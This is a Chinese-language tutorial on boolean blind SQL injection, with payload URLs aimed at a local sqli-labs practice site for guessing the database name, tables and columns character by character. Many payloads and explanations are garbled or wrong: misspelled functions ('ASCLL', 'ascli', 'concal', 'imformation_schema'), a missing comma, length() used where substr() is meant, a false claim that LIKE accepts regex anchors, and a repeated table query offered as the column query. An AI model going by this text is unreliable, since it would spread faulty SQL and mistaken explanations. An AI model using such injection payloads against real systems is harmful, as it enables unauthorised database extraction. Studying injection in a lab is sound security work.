由于数据库只返回对与错,所以根据这种情况,我们产生了布尔注入,根据所返回的信息来获取我们想要的信息。
💫适用场景:
没有数据回显,条件正确有结果,条件错误没有结果。
💫利用方式:
构造判断条件,逐个猜测。(盲猜)
⭐截取字段:
select MID(‘abcdef’,2,2);select substr(‘abcdefghijk’,5,5);select left(‘abcdefgh’,5);获取最左边的5个数
⭐转成ascil码:
select ord(‘a’);select ASCLL(‘a’);两个语句的效果一样
⭐正则
select user() regexp ‘^ro’
select user() like ‘^ro’
两个语句都是从user表中搜索ro开头的数据
⭐SQL布尔盲注的流程
1.获取数据库名字的长度
例:http://localhost/sqllabs/libs5/?id=1’ and length(database ())=5 --+
猜字段长度为5。一般使用二分法进行猜测,数值前的=可以替换成>或者<。如果出现和前面猜错的返回类型不一致,则证明这个长度为数据库名字的长度。
2.获取数据库名字
例1:
http://localhost/sqllabs/libs5/?id=1’ and left(database (),1)=‘a’ --+
截取左边第一个字母的值,这里用的是=,还可以用>或者<号。
例2:
http://localhost/sqllabs/libs5/?id=1’ and ascli(length(database (),1)) =113 --+
转化为ascil码进行判断,更加便捷。更改length (database (),2)中数值,可以得到这个数据的名字。
3.获取表名
例:http://localhost/sql-libs/less-5/?id=1’ and ascil(substr((select table_name from imformation_schema.table where table_schema=database() limit 0,1)1,1))=113 --+
说明:
①substr作用是是截取表名的第一位,确认这个表名的第一位的ascil的值是否为113
②limit 0,1 中,前面数值的值代表第几张表,后面代表第几个字母。所以这里0代表第一张表,1代表第一个字母。所以这里代表查询第1张表的第一个字母。
③limit0,1)1,1)这两个数字,前面的数值代表表名的第几位的值。
④一位一位地猜,一位一位地改,就可以把表名给猜出来
4.获取数据库的列名
例:http://localhost/sql-libs/less-5/?id=1’ and ascil(substr((select table_name from imformation_schema.table where table_schema=database() limit 0,1)1,1))=113 --+
这里把获取表名的语句做出修改即可:
①把schema.table的table修改成concal即可
②把table_name改成concal_name,指定表名,修改limit的数据,即可获得数据库的列名。